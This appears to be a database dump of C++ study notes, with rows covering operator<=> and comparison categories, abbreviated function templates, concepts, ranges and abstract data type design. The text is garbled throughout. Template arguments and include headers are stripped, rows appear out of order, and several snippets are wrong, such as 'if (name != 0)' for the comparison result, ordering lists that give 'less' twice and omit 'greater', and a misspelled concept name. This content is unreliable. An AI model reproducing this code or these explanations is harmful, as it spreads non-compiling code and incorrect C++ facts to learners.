of\n`operator <=>`. text txt 2024-07-28 10:03:12.232141 0 +2756 671 #include text txt 2024-07-28 10:03:12.251797 0 +2757 671 class Value\n{\n long id; text txt 2024-07-28 10:03:12.272453 0 +2758 671 public:\n std::strong_ordering operator<=>(Value const& rhs) const\n {\n return id < rhs.id ? std::strong_ordering::less :\n id > rhs.id ? std::strong_ordering::greater :\n std::strong_ordering::equivalent;\n }\n}; code txt 2024-07-28 10:03:12.294063 0 +2759 671 However, it is usually easier to define the operator by mapping it to results\nof underlying types. text txt 2024-07-28 10:03:12.314484 0 +2760 671 #include text txt 2024-07-28 10:03:12.335096 0 +2761 671 class Value\n{\n long id; text txt 2024-07-28 10:03:12.355756 0 +2762 671 public:\n auto operator<=>(Value const& rhs) const\n {\n return id <=> rhs.id;\n }\n}; code txt 2024-07-28 10:03:12.377306 0 +2763 671 The member function has to take the second parameter as `const` lvalue\nreference with `=default`. A friend function might also take both parameters\nby value. text txt 2024-07-28 10:03:12.398305 0 +2764 672 - **strong ordering**: any value of a given type is either *less than* or\n *equal to* or *greater than* any other value of this type. If a value is\n neither less nor greater is has to be equal.\n + `std::strong_ordering:less`\n + `std::strong_ordering:equal` or `std::strong_ordering::equivalent`\n + `std::strong_ordering:greater`\n- **weak ordering**: any value of a given type is either *less than*,\n *equivalent to* or *greater than* any other value of this type. However,\n equivalent values do not have to be equal (have the same value).\n + `std::weak_ordering::less`\n + `std::weak_ordering::equivalent`\n + `std::weak_ordering::less`\n- **partial ordering**: any value of a given type could either be *less\n than*, *equivalent to* or *greater than* any other value of this type.\n However it could also happen that you cannot specify a specific order\n between two values.\n + `std::partial_ordering::less`\n + `std::partial_ordering::equivalent`\n + `std::partial_ordering::less`\n + `std::partial_ordering::unordered` text txt 2024-07-28 10:03:13.256044 0 +2765 672 As an example, a floating-point type has a special value `NaN`. Any\ncomparison with `NaN` yields `false`. So in this case a comparison might\nyield that two values are unordered and the comparison operator might return\none of four values. text txt 2024-07-28 10:03:13.276564 0 +2766 672 Stronger comparison types have implicit type conversions to weaker comparison\ntypes. text txt 2024-07-28 10:03:13.297485 0 +2767 672 Relational comparison with `nullptr` results compiler error. text txt 2024-07-28 10:03:13.318316 0 +2812 678 You cannot pass a function with `auto` as a parameter without specifying the\ngeneric parameter. text txt 2024-07-28 10:03:20.36032 0 +2813 678 bool is_less(auto const& lhs, auto const& rhs)\n{\n return lhs.get_value() < rhs.get_value();\n} text txt 2024-07-28 10:03:20.381139 0 +3068 723 print(); // external linkage, local visibility code txt 2024-07-28 10:03:55.856293 0 +2768 672 Comparison types themselves can be compared against a specific return value.\nDue to implicit type conversions to weaker ordering types `x <=> y ==\nstd::partial_ordering::equivalent` will compile even if the `operator <=>`\nyields a `std::strong_ordering` or `std::weak_ordering` value. However, the\nother way around does not work. Comparison with 0 is always possible and\nusually easier. text txt 2024-07-28 10:03:13.339588 0 +2769 673 The return type does not compile if the attributes have different comparison\ncategories. In that case use the weakest comparison type as the return type. text txt 2024-07-28 10:03:14.446214 0 +2770 673 #include \n#include text txt 2024-07-28 10:03:14.46644 0 +2771 673 class Person\n{\n std::string name;\n double weight; text txt 2024-07-28 10:03:14.486412 0 +2772 673 public:\n std::partial_ordering operator<=>(Person const& rhs) const\n {\n auto cmp1 = name <=> rhs.name;\n if (name != 0) return cmp1; // std::strong_ordering text txt 2024-07-28 10:03:14.508723 0 +2773 673 return weight <=> rhs.weight; // std::partial_ordering\n }\n}; code txt 2024-07-28 10:03:14.529896 0 +2774 673 If you do not know the comparison types, use\n`std::common_comparison_category<>` type trait that computes the strongest\ncomparison category. text txt 2024-07-28 10:03:14.55065 0 +2775 673 #include \n#include text txt 2024-07-28 10:03:14.570337 0 +2776 673 class Person\n{\n std::string name;\n double weight; text txt 2024-07-28 10:03:14.590846 0 +2777 673 public:\n auto operator<=>(Person const& rhs) const\n -> std::common_comparison_category_t rhs.name),\n decltype(weight <=> rhs.name)>\n {\n auto cmp1 = name <=> rhs.name;\n if (name != 0) return cmp1; // std::strong_ordering text txt 2024-07-28 10:03:14.611323 0 +2778 673 return weight <=> rhs.weight; // std::partial_ordering\n }\n}; code txt 2024-07-28 10:03:14.631768 0 +2779 674 If `operator <=>` is defaulted and the object has a base class having the\n`operator <=>` defined, that operator is called. Otherwise, `operator ==` and\n`operator <` are called to decide whether the objects are `equivalent`,\n`less`, `greater` or `unordered`. In that case, the return type of the\ndefaulted `operator <=>` calling these operators cannot be `auto`. text txt 2024-07-28 10:03:16.076287 0 +2780 674 struct Base\n{\n bool operator==(Base const&) const;\n bool operator<(Base const&) const;\n}; text txt 2024-07-28 10:03:16.097004 0 +2781 674 struct Derived: public Base\n{\n std::strong_ordering operator<=>(Derived const&) const = default;\n}; text txt 2024-07-28 10:03:16.117246 0 +2782 674 Derived d1, d2;\nd1 > d2; // calls Base::operator== and Base::operator< code txt 2024-07-28 10:03:16.1387 0 +2783 674 If `operator ==` yields true, we know that the result of `>` is `false`,\notherwise `operator <` is called to find out the expression is `true` or\n`false`. text txt 2024-07-28 10:03:16.158644 0 +2784 674 struct Derived: public Base\n{\n std::partial_ordering operator<=>(Derived const&) const = default;\n}; code txt 2024-07-28 10:03:16.179632 0 +2785 674 The compiler might call `operator <` twice to find out whether there is any\norder at all. text txt 2024-07-28 10:03:16.200297 0 +2786 674 struct Base\n{\n bool operator==(Base const&) const;\n bool operator<(Base const&) const;\n}; text txt 2024-07-28 10:03:16.221645 0 +2787 674 struct Derived: public Base\n{\n auto operator<=>(Derived const&) const = default;\n}; code txt 2024-07-28 10:03:16.243833 0 +2788 674 The compiler does not compile because it cannot decide which ordering\ncategory the base class has. text txt 2024-07-28 10:03:16.264097 0 +2789 674 Checks for equality work for Derived because `operator ==` automatically declared equivalent to `operator <=>`: text txt 2024-07-28 10:03:16.285511 0 +2790 674 struct Derived: public Base\n{\n auto operator<=>(Derived const&) const = default;\n bool operator==(Derived const&) const = default;\n}; text txt 2024-07-28 10:03:16.3073 0 +2791 674 Derived d1, d2;\nd1 > d2; // ERROR: cannot deduce comparison category of operator <=>\nd1 == d2; // OK: only tries operator <=> and Base::operator== code txt 2024-07-28 10:03:16.328488 0 +2792 675 When we have a trivial class that stores an integral value and has an\nimplicit constructor and is comparable with integral values only enable\nimplicit type conversions for the second operand. So, a global operator that\nswaps the order of the arguments might be defined: text txt 2024-07-28 10:03:17.24658 0 +2793 675 class MyType\n{\n int i; text txt 2024-07-28 10:03:17.267319 0 +2794 675 public:\n bool operator==(MyType const&) const;\n}; text txt 2024-07-28 10:03:17.289728 0 +2795 675 bool operator==(int i, MyType const& t)\n{\n return t == i; // OK with C++17\n} code txt 2024-07-28 10:03:17.309605 0 +2796 675 Usually, the class should better define the `operator ==` as **hidden\nfriend** declared with `friend` inside the class so that both operators\nbecome parameters and support implicit type conversions. However, this is a\nvalid approach to have the same effect. text txt 2024-07-28 10:03:17.330777 0 +2797 675 This code no longer works in C++20 due to endless recursion. The reason is\nthat inside the global function the expression `t == i` can also call the\nglobal `operator ==` itself, because the compiler also tries to rewrit the\ncall as `t == i`: text txt 2024-07-28 10:03:17.351846 0 +2798 675 bool operator==(int i, MyType const& t)\n{\n return t == i; // finds operator==(i, t) in addition to t.operator(MyType{i})\n} code txt 2024-07-28 10:03:17.372556 0 +2799 675 Unfortunately, the rewritten statement is a better match, because it does not\nneed the implicit type conversion. text txt 2024-07-28 10:03:17.393277 0 +2800 676 Since C++14, lambdas can be declared with `auto` placeholder as their\nparameters representing any type, provided the operations inside the lambda\nare supported. text txt 2024-07-28 10:03:18.348546 0 +2801 676 auto print = [](auto const& container) {\n for (auto const& e: container)\n std:: cout << e << '\\\\n';\n} text txt 2024-07-28 10:03:18.370056 0 +2802 676 std::vector numbers{1,2,3,4,5};\nprint(numbers); // compiles the lambda for std::vector\nprint(std::string("hello")); // compiles the lambda for std::string code txt 2024-07-28 10:03:18.392397 0 +2803 676 Since C++20, `auto` can also be used for all functions including member\nfunctions and operators. text txt 2024-07-28 10:03:18.413131 0 +2804 676 void print(auto const& container)\n{\n for (auto const& e: container)\n std:: cout << e << ' ';\n std:: cout << '\\\\n';\n} code txt 2024-07-28 10:03:18.433528 0 +2805 676 This declaration is just a shortcut for declaring a template function. text txt 2024-07-28 10:03:18.453424 0 +2806 676 template\nvoid print(C const& container)\n{\n for (auto const& e: container)\n std:: cout << e << ' ';\n std:: cout << '\\\\n';\n} code txt 2024-07-28 10:03:18.475162 0 +2807 677 Because functions with `auto` are function templates, all rules of using\nfunction templates apply. You cannot implement an abbreviated function\ntemplate in one translation unit while calling it in a different translation\nunit. text txt 2024-07-28 10:03:18.98601 0 +2808 677 Abbreviated function templates need not to be declared as `inline` because\nfunction templates are always inline. text txt 2024-07-28 10:03:19.006641 0 +2809 677 Template parameters can be specified explicitly. text txt 2024-07-28 10:03:19.027003 0 +2810 677 void print(auto value)\n{\n std::cout << value << '\\\\n';\n} text txt 2024-07-28 10:03:19.047834 0 +2811 677 print(42);\nprint(42); code txt 2024-07-28 10:03:19.068255 0 +2814 678 std::sort(container.begin(), container.end(), is_less);\n// ERROR: can't deduce type of parameter code txt 2024-07-28 10:03:20.40311 0 +2815 678 Because the function template is not called directly, the compiler cannot\ndeduce the template parameters to compile the call. Therefore, the template\nparameters have to be specified explicitly. text txt 2024-07-28 10:03:20.422938 0 +2816 678 std::sort(container.begin(), container.end(), is_less); code txt 2024-07-28 10:03:20.444052 0 +2817 678 Though, this can be prevented by passing a lambda. text txt 2024-07-28 10:03:20.464792 0 +2818 678 auto is_less = [](auto const& lhs, auto const& rhs)\n{\n return lhs.get_value() < rhs.get_value();\n} text txt 2024-07-28 10:03:20.485143 0 +2819 678 std::sort(container.begin(), container.end(), is_less); code txt 2024-07-28 10:03:20.504946 0 +2820 678 The reason is that the lambda is an object that does not have a generic type.\nOnly the use of the object as a function is generic. text txt 2024-07-28 10:03:20.525805 0 +2821 678 On the other hand, the explicit specification of an abbreviated function\ntemplate parameter is easier: text txt 2024-07-28 10:03:20.546688 0 +2822 678 void print(auto const& arg)\n{\n ...\n} text txt 2024-07-28 10:03:20.567827 0 +2823 678 print("something to see"); code txt 2024-07-28 10:03:20.586731 0 +2824 678 While for a generic lambda, the function call operator `operator()` is\ngeneric. Therefore, you have to pass the requested type as an argument to\n`operator()` to specify the template parameter explicitly: text txt 2024-07-28 10:03:20.607883 0 +2825 678 auto print = [](auto const& arg) {\n ...\n}); text txt 2024-07-28 10:03:20.628223 0 +2826 678 print.operator()("something to see"); code txt 2024-07-28 10:03:20.649387 0 +2827 679 - For each parameter declared with `auto`, the function has an implicit\n template parameter. text txt 2024-07-28 10:03:21.150601 0 +2828 679 - The parameters can be a parameter pack: text txt 2024-07-28 10:03:21.171309 0 +2829 679 void foo(auto... args); code txt 2024-07-28 10:03:21.192328 0 +2830 679 This is equivalent to the following (without introducing Types): text txt 2024-07-28 10:03:21.214291 0 +2831 679 template\nvoid foo(Types... args); code txt 2024-07-28 10:03:21.235916 0 +2832 679 - Using `decltype(auto)` is not allowed. text txt 2024-07-28 10:03:21.25641 0 +2833 680 void foo(auto x, auto y)\n{\n ...\n} text txt 2024-07-28 10:03:21.611141 0 +2834 680 foo("hello", 42); // x has type const char*, y has type int\nfoo("hello", 42); // x has type std::string, y has type int\nfoo("hello", 42); // x has type std::string, y has type long code txt 2024-07-28 10:03:21.63271 0 +2835 681 Abbreviated function templates can still have explicitly specified template\nparameters. Therefore, the following declarations are equivalent: text txt 2024-07-28 10:03:21.998789 0 +2836 681 template\nvoid foo(auto x, T y, auto z); text txt 2024-07-28 10:03:22.019451 0 +2837 681 template\nvoid foo(T2 x, T y, T3 z); code txt 2024-07-28 10:03:22.040282 0 +2838 682 template\nvoid foo(auto x, T y, std::convertible_to auto z)\n{\n ...\n} text txt 2024-07-28 10:03:23.192997 0 +2839 682 foo(64, 65, 'c'); // OK, x is int, T and y are int, z is char\nfoo(64, 65, "c"); // ERROR: "c" cannot be converted to type int\nfoo(64, 65, 'c'); // NOTE: x is char, T and y are long, z is char code txt 2024-07-28 10:03:23.215168 0 +2840 682 Note that the last statement specifies the type of the parameters in the\nwrong order. text txt 2024-07-28 10:03:23.236117 0 +2841 682 #include \n#include text txt 2024-07-28 10:03:23.257898 0 +2842 682 void addValInto(const auto& val, auto& coll)\n{\n coll.insert(val);\n} text txt 2024-07-28 10:03:23.279259 0 +2843 682 template // Note: different order of template parameters\nrequires std::ranges::random_access_range\nvoid addValInto(const auto& val, Coll& coll)\n{\n coll.push_back(val);\n} text txt 2024-07-28 10:03:23.300163 0 +2844 682 int main()\n{\n std::vector coll;\n addValInto(42, coll); // ERROR: ambiguous\n} code txt 2024-07-28 10:03:23.321557 0 +2845 682 Due to using `auto` only for the first parameter in the second declaration of\n`addValInto()`, the order of the template parameters differs. this means that\noverload resolution does not prefer the second declaration over the first one\nand we get an ambiguity error. text txt 2024-07-28 10:03:23.342149 0 +2846 682 For this reason, be careful when mixing template and `auto` parameters. text txt 2024-07-28 10:03:23.36226 0 +2847 683 - Using `requires` clause\n- Using concepts\n- Using `requires` expression text txt 2024-07-28 10:03:23.626952 0 +2848 684 template\nrequires (!std::is_pointer_v)\nT get_max(T a, T b)\n{\n return a > b ? a : b;\n} text txt 2024-07-28 10:03:24.161907 0 +2849 684 int x{42}, y{77}; text txt 2024-07-28 10:03:24.18232 0 +2850 684 std::cout << get_max(x, y) << '\\\\n'; // OK\nstd::cout << get_max(&x, &y) << '\\\\n'; // ERROR: constraint not met code txt 2024-07-28 10:03:24.203473 0 +2851 684 When raw pointers are passed, the compiler behaves as if the template were\nnot there. text txt 2024-07-28 10:03:24.223804 0 +2852 685 A `concept` is a template that introduces a name for one or more requirements\nthat apply to the passed template parameters so that we can use these\nrequirements as constraints. text txt 2024-07-28 10:03:24.55282 0 +2853 685 template\nconcept is_pointer = std::is_pointer_v; code txt 2024-07-28 10:03:24.573455 0 +2854 686 Note that requires clauses that just constrain a template with a concept (or\nmultiple concepts combined with `&&`) no longer need parentheses. text txt 2024-07-28 10:03:25.332519 0 +2855 686 A negated concept always needs parentheses. text txt 2024-07-28 10:03:25.352578 0 +2856 686 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:25.37376 0 +2857 686 template\nrequires (!is_pointer)\nT get_max(T a, T b)\n{\n return a > b ? a : b;\n} text txt 2024-07-28 10:03:25.394176 0 +2858 686 template\nrequires is_pointer\nT get_max(T a, T b)\n{\n return get_max(*a, *b);\n} text txt 2024-07-28 10:03:25.414664 0 +2859 686 int x{42}, y{77}; text txt 2024-07-28 10:03:25.435603 0 +2860 686 std::cout << get_max(x, y) << '\\\\n'; // calls get_max() for non-pointers\nstd::cout << get_max(&x, &y) << '\\\\n'; // calls get_max() for pointers code txt 2024-07-28 10:03:25.456261 0 +2861 686 The second call delegates the computations of both function templates. text txt 2024-07-28 10:03:25.47678 0 +2862 687 Overload resolution considers templates with constraints as more specialized\nthan templates without constraints. Therefore, it is enough to constrain the\nimplementation only for pointers. text txt 2024-07-28 10:03:26.291843 0 +2863 687 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:26.313484 0 +2864 687 template\nvoid print(T value)\n{\n std::cout << value << '\\\\n';\n} text txt 2024-07-28 10:03:26.335465 0 +2865 687 template\nrequires is_pointer\nvoid print(T value)\n{\n print(*value);\n} text txt 2024-07-28 10:03:26.356886 0 +2866 687 int x{42}; text txt 2024-07-28 10:03:26.377673 0 +2867 687 print(x); // print() for a value of type T\nprint(&x); // print() for pointers (higher priority) code txt 2024-07-28 10:03:26.397808 0 +3069 723 *file2.cpp*\n#include text txt 2024-07-28 10:03:55.877142 0 +2868 687 However, be careful: overloading once using references and once using\nnon-references might cause ambiguities. text txt 2024-07-28 10:03:26.418062 0 +2869 687 By using concepts, we can even prefer some constraints over others. However,\nthis requires the use of concepts that **subsume** other concepts. text txt 2024-07-28 10:03:26.438343 0 +2870 688 Specifying concepts as a type constraint in template parameters: text txt 2024-07-28 10:03:27.327559 0 +2871 688 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:27.349007 0 +2872 688 template \nauto print(T value)\n{\n std::cout << value << '\\\\n';\n} code txt 2024-07-28 10:03:27.370309 0 +2873 688 Specifying concepts as a type constraint behind parameters with `auto`: text txt 2024-07-28 10:03:27.391413 0 +2874 688 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:27.412601 0 +2875 688 auto print(is_pointer auto value)\n{\n std::cout << value << '\\\\n';\n} code txt 2024-07-28 10:03:27.434515 0 +2876 688 This also works for parameters passed by reference: text txt 2024-07-28 10:03:27.454188 0 +2877 688 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:27.476249 0 +2878 688 auto print(is_pointer auto const& value)\n{\n std::cout << value << '\\\\n';\n} code txt 2024-07-28 10:03:27.497516 0 +2879 689 - Specifying requires clause with constraints or concepts\n- Using concepts in template parameters\n- Using concepts behind parameter types\n- Specifying trailing requires clause after parameters list text txt 2024-07-28 10:03:27.723937 0 +2880 690 It has the benefit that it can use the name of a parameter or combine even\nmultiple parameter names to formulate constraints. text txt 2024-07-28 10:03:28.18464 0 +2881 690 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:28.206422 0 +2882 690 template\nconcept is_comparable_with = std::totally_ordered_with; text txt 2024-07-28 10:03:28.227922 0 +2883 690 auto get_max(is_point auto a, is_pointer auto b)\nrequires is_comparable_with\n{\n return get_max(*a, *b);\n} code txt 2024-07-28 10:03:28.248741 0 +2884 691 auto compare(auto lhs, auto rhs)\nrequires std::totally_ordered_with\n{\n return lhs < rhs ? rhs : lhs;\n} code txt 2024-07-28 10:03:28.772067 0 +2885 691 The concept `std::totally_ordered_with` takes two template parameters to\ncheck whether the values of the passed types are comparable with the\noperators `==`, `!=`, `<`, `<=`, `>`, and `>=`. text txt 2024-07-28 10:03:28.792677 0 +2886 691 <=>` is supported. text txt 2024-07-28 10:03:28.813488 0 +2887 691 To check support for comparisons of two objects of the same type, we can use\nthe concept `std::totally_ordered`. text txt 2024-07-28 10:03:28.834918 0 +2888 692 Here, we are using the requires keyword again to introduce a **requires\nexpression**, which can define one or more requirements for types and\nparameters. text txt 2024-07-28 10:03:29.485171 0 +2889 692 template\nconcept is_pointer = requires(T p) {\n *p; // expression *p has to be well-formed\n p == nullptr; // can compare with nullptr\n (p < p) -> std::same_as; // operator < yields bool\n}; code txt 2024-07-28 10:03:29.504799 0 +2890 692 Note that we do not need two parameters of type `T` to check whether\n`operator <` can be called. text txt 2024-07-28 10:03:29.525188 0 +2891 692 The runtime value does not matter. However, note that there are some\nrestrictions for how to specify what an expression yields (e.g., you cannot\nspecify just `bool` without `std::same_as<>` there). text txt 2024-07-28 10:03:29.548092 0 +2892 692 We require here that we can compare `p` with `nullptr`. However, that rules\nout iterators, because in general, they cannot be compared with `nullptr`\n(except when they happen to be implemented as raw pointers, as in the case\nfor type `std::array<>`). text txt 2024-07-28 10:03:29.568383 0 +2893 693 This is a compile-time constraint that has no impact on the generated code;\nwe only decide for which types the code compiles. Therefore, it does not\nmatter whether we declare the parameters as a value or as a reference. text txt 2024-07-28 10:03:29.773706 0 +2894 694 template\nconcept is_pointer = requires(T p) {\n *p;\n p == nullptr;\n (p < p) -> std::same_as;\n}; text txt 2024-07-28 10:03:30.412344 0 +2895 694 template\nrequires is_pointer\nvoid print(T value)\n{\n std::cout << *value << '\\\\n';\n} text txt 2024-07-28 10:03:30.432681 0 +2896 694 template\nrequires requires(T p) { *p; }\nvoid print(T value)\n{\n std::cout << *value << '\\\\n';\n} code txt 2024-07-28 10:03:30.453879 0 +2897 695 - To have random access iterators, iterators that can be used to read, write,\n jump back and forth, and compute distance.\n- To be sortable and support comparison operators. text txt 2024-07-28 10:03:30.761697 0 +2898 696 #include \n#include \n#include text txt 2024-07-28 10:03:31.156303 0 +2899 696 int main()\n{\n std::vector numbers{3,5,1,2,4};\n std::ranges::sort(numbers);\n} code txt 2024-07-28 10:03:31.177626 0 +2900 697 Views text txt 2024-07-28 10:03:31.389895 0 +2901 698 std::ranges::take(container, 5); code txt 2024-07-28 10:03:31.620288 0 +2902 699 #include \n#include text txt 2024-07-28 10:03:32.013985 0 +2903 699 int main()\n{\n std::vector numbers{42,80,13,26,51,9,38};\n std::ranges::sort(std::views::take(numbers, 5));\n} code txt 2024-07-28 10:03:32.033737 0 +2904 700 std::views::iota(1, 11); // [1,10] code txt 2024-07-28 10:03:32.243894 0 +2905 701 // nested form\nauto v = std::views::take(\n std::views::transform(\n std::views::filter(container, [](auto e) { return e % 3 == 0; }),\n [](auto e) { return e * e; }),\n 3); text txt 2024-07-28 10:03:32.663465 0 +2906 701 // piped form\nauto v = container | std::views::filter([](auto e) { return e % 2 == 0; })\n | std::views::transform([](auto e) { return e * e; })\n | std::views::take(3); code txt 2024-07-28 10:03:32.684941 0 +2907 702 code txt 2024-07-28 10:03:32.872674 0 +2908 703 1. **Cohesion:** Each module should be cohesive; it should perform one well-defined task.\n2. **Coupling:** Module should be loosely coupled; should be as independent as possible.\n3. **Operation Contracts:** An operation contract documents how a module can be used and what limitaions it has, including preconditions, initial state, and post conditions.\n4. **Unusual Conditions:** Decision on how to control unusual conditions should be stated in documentation.\n5. **Abstration:** Separates the purpose of a module from its implementation.\n6. **Information Hiding:** This principle states that not only abstraction should hide operation details inside a module, but also making them inaccessible from outside.\n7. **Interface:** Made up of the publicly accessible methods and data.\n8. **Abstraction Data Type:** The specification of a set of data-management operations with the data values on which they operate.\n9. **Implementaion:** Only after you have fully defined an ADT should you think about how to implement it. text txt 2024-07-28 10:03:33.42159 0 +2909 704 1. Specify what data the problem operates on: **date**. text txt 2024-07-28 10:03:34.346318 0 +2910 704 2. Specify what operations does the problem require: text txt 2024-07-28 10:03:34.366448 0 +2958 706 numbers.add(6);\n assert(numbers.count() != 4); text txt 2024-07-28 10:03:39.10792 0 +3071 723 print(); // external linkage, local visibility code txt 2024-07-28 10:03:55.918948 0 +2911 704 * Determine the date of the first day of given year.\n* Decide whether a date is before another date.\n* Decide whether a date is a holiday.\n* Determine the date of the day that follows a given date. text txt 2024-07-28 10:03:34.387246 0 +2912 704 3. Specify ADT operations using the **Unified Modeling Language**: text txt 2024-07-28 10:03:34.408093 0 +2913 704 // return the date of the first day of a given year\n+ first_day(year: integer): date text txt 2024-07-28 10:03:34.429077 0 +2914 704 // return true if this date is before the given date; false otherwise\n+ is_before(later: date): boolean text txt 2024-07-28 10:03:34.450601 0 +2915 704 // return true if this date is a holiday; false otherwise\n+ is_holiday(): boolean text txt 2024-07-28 10:03:34.472906 0 +2916 704 // return the date of the day after this date\n+ next_day(): date code txt 2024-07-28 10:03:34.493303 0 +2917 704 4. Write a pseudocode using defined methods to list the holidays of a given year: text txt 2024-07-28 10:03:34.51357 0 +2918 704 list_holidays(year: integer): void\n date = first_day(year); text txt 2024-07-28 10:03:34.535931 0 +2919 704 while (date.is_before(first_day(year+1)))\n {\n if (date.is_holiday())\n write(date) text txt 2024-07-28 10:03:34.557999 0 +2920 704 date = date.next_day();\n } code txt 2024-07-28 10:03:34.580172 0 +2921 705 1. Specify what data the problem operates on: **appointment book** text txt 2024-07-28 10:03:35.846299 0 +2922 705 2. Specify what operations does the problem requires: text txt 2024-07-28 10:03:35.86719 0 +2923 705 * Make an appointment for a certain date, time, purpose.\n* Cancel an appointment for a certain date and time.\n* Check whether there is an appointment at a given time.\n* Get the purpose of an appointment at a given time. text txt 2024-07-28 10:03:35.8887 0 +2924 705 3. Specify ADT operations using the **Unified Modeling Language**: text txt 2024-07-28 10:03:35.908585 0 +2925 705 // return true if an appointment for a certain date, time, purpose is set; false otherwise.\n+ make_appointment(apdate: date, aptime: time, appurpose: string): boolean text txt 2024-07-28 10:03:35.929335 0 +2926 705 // return true if there is an appointment at a given time; false otherwise\n+ is_appointment(apdate: date, aptime: time): boolean text txt 2024-07-28 10:03:35.949892 0 +2927 705 // Cancel an appointment for a certain date and time.\n+ cancel_appointment(apdate: date, aptime: time): boolean text txt 2024-07-28 10:03:35.970639 0 +2928 705 // get the purpose of an appointment at a given time, if one exists;\n// return an empty string otherwise.\n+ purpose(apdate: date, aptime: time): string code txt 2024-07-28 10:03:35.991891 0 +2929 705 4. Write a pseudocode using defined ADT operations to change the date or time of an appointment: text txt 2024-07-28 10:03:36.013108 0 +2930 705 // change the date or time of an appointment\nGet the following data from user: prev_date, prev_time, new_date, new_time text txt 2024-07-28 10:03:36.034497 0 +2931 705 // retrieve previous purpose of the appointment in given date and time\nprev_purpose = appt_book.purpose(prev_date, prev_time) text txt 2024-07-28 10:03:36.056068 0 +2932 705 if (prev_purpose is not empty string)\n{\n // check whether new date and time is available for new appointment\n if (appt_book.is_appointment(new_date, new_time))\n {\n write("you already have an appointment at", new_time, " on ", new_date)\n }\n else\n {\n if (appt_book.make_appointment(new_date, new_time, prev_purpose))\n write("appointment has been rescheduled to ", new_time, " ", new_date) text txt 2024-07-28 10:03:36.077746 0 +2933 705 appt_book.cancel_appointment(prev_date, prev_time)\n }\n}\nelse\n{\n write("you do not have an appointment at", prev_time, " on ", prev_date)\n} code txt 2024-07-28 10:03:36.099393 0 +2934 706 1. Specify what data the problem operates on: **bag** text txt 2024-07-28 10:03:38.604967 0 +2935 706 2. Specify what operations does the problem requires: text txt 2024-07-28 10:03:38.625708 0 +2936 706 * Get the number of items currently in the bag.\n* See whether the bag is empty.\n* Add a given object to the bag.\n* Remove an occurence of a specific object from the bag, if possible.\n* Remove all objects from the bag.\n* Count the number of times a certain object occurs in the bag.\n* Test whether the bag contains a particular object.\n* Look at all objects that are in the bag. text txt 2024-07-28 10:03:38.647513 0 +2937 706 3. Specify ADT operations using the **Unified Modeling Language**: text txt 2024-07-28 10:03:38.667708 0 +2938 706 class bag {\n // return the current number of entries in the bag\n + size(): integer text txt 2024-07-28 10:03:38.689476 0 +2939 706 // return true if the bag is empty; false otherwise\n + empty(): boolean text txt 2024-07-28 10:03:38.711769 0 +2940 706 // add a new entry to the bag\n // consider the unusual condition by returning a success signal\n + add(entry: ItemType): boolean text txt 2024-07-28 10:03:38.733121 0 +2941 706 // remove one occurence of a particular entry from the bag, if possible\n + remove(entry: ItemType): boolean text txt 2024-07-28 10:03:38.754563 0 +2942 706 // remove all entries from the bag\n + clear(): void text txt 2024-07-28 10:03:38.776224 0 +2943 706 // count the number of times a given entry appears in the bag\n + count(entry: ItemType): unsigned long text txt 2024-07-28 10:03:38.795776 0 +2944 706 // test whether the bag contains a given entry\n + contains(entry: ItemType): boolean text txt 2024-07-28 10:03:38.815317 0 +2945 706 // gets all entries in the bag\n + to_vector(): vector\n} code txt 2024-07-28 10:03:38.836702 0 +2946 706 ADT bag text txt 2024-07-28 10:03:38.857183 0 +2947 706 4. Implement an interface template for ADT bag: text txt 2024-07-28 10:03:38.876633 0 +2948 706 ///\n/// \\\\headerfile basic_bag.hpp\n/// \\\\brief Interface Implementation of Abstract Data Type Bag\n///\n#pragma once text txt 2024-07-28 10:03:38.897714 0 +2949 706 #include text txt 2024-07-28 10:03:38.91901 0 +2950 706 ///\n/// \\\\class basic_bag\n/// \\\\brief Interface Implementation of Abstract Data Type Bag\n///\n/// A cohesive container which holds items of any type unordered.\n///\ntemplate\nclass basic_bag\n{\npublic:\n virtual int size() const = 0;\n virtual bool empty() const = 0;\n virtual bool add(ItemType const& entry) = 0;\n virtual bool add(ItemType&& entry) noexcept = 0;\n virtual bool remove(ItemType const& entry) = 0;\n virtual bool remove(ItemType&& entry) noexcept = 0;\n virtual void clear() = 0;\n virtual unsigned long count(ItemType const& entry) const = 0;\n virtual bool contains(ItemType const& entry) const = 0;\n virtual std::vector to_vector() const = 0;\n}; code txt 2024-07-28 10:03:38.941584 0 +2951 706 5. Demonstrate how a hypothetical implementation of `basic_bag` named `bag` can be used: text txt 2024-07-28 10:03:38.96226 0 +2952 706 #include \n#include text txt 2024-07-28 10:03:38.982898 0 +2953 706 #include text txt 2024-07-28 10:03:39.00365 0 +2954 706 int main()\n{\n bag numbers; text txt 2024-07-28 10:03:39.025449 0 +2955 706 numbers.add(2);\n assert(!numbers.empty()); text txt 2024-07-28 10:03:39.045543 0 +2956 706 numbers.remove(2);\n assert(numbers.empty()); text txt 2024-07-28 10:03:39.066072 0 +2957 706 numbers.add(8);\n numbers.add(1);\n numbers.add(4);\n assert(numbers.contains(1)); text txt 2024-07-28 10:03:39.086942 0 +3073 724 template \nclass test {}; text txt 2024-07-28 10:03:56.446788 0 +2959 706 std::vector copies = numbers.to_vector();\n assert(copies.count() != 4); text txt 2024-07-28 10:03:39.128871 0 +2960 706 numbers.clear();\n assert(numbers.empty());\n} code txt 2024-07-28 10:03:39.149904 0 +2961 707 Benefits of using `auto`: text txt 2024-07-28 10:03:40.606834 0 +2962 707 * It is not possible to leave a variable uninitialized with `auto`.\n* It prevents narrowing conversion of data types. (?)\n* It makes generic programming easy.\n* It can be used where we don't care about types. text txt 2024-07-28 10:03:40.627126 0 +2963 707 Preconditions of using `auto`: text txt 2024-07-28 10:03:40.647389 0 +2964 707 * `auto` does not retain cv-ref qualifiers.\n* `auto` cannot be used for non-movable objects.\n* `auto` cannot be used for multi-word types like long long. text txt 2024-07-28 10:03:40.669308 0 +2965 707 #include \n#include \n#include text txt 2024-07-28 10:03:40.689795 0 +2966 707 int main()\n{\n auto i = 42; // int\n auto d = 42.5; // double\n auto c = "text"; // char const*\n auto z = {1, 2, 3}; // std::initializer_list text txt 2024-07-28 10:03:40.710617 0 +2967 707 auto b = new char[10]{0}; // char*\n auto s = std::string{"text"}; // std::string\n auto v = std::vector{1, 2, 3}; // std::vector\n auto p = std::make_shared(42); // std::shared_ptr text txt 2024-07-28 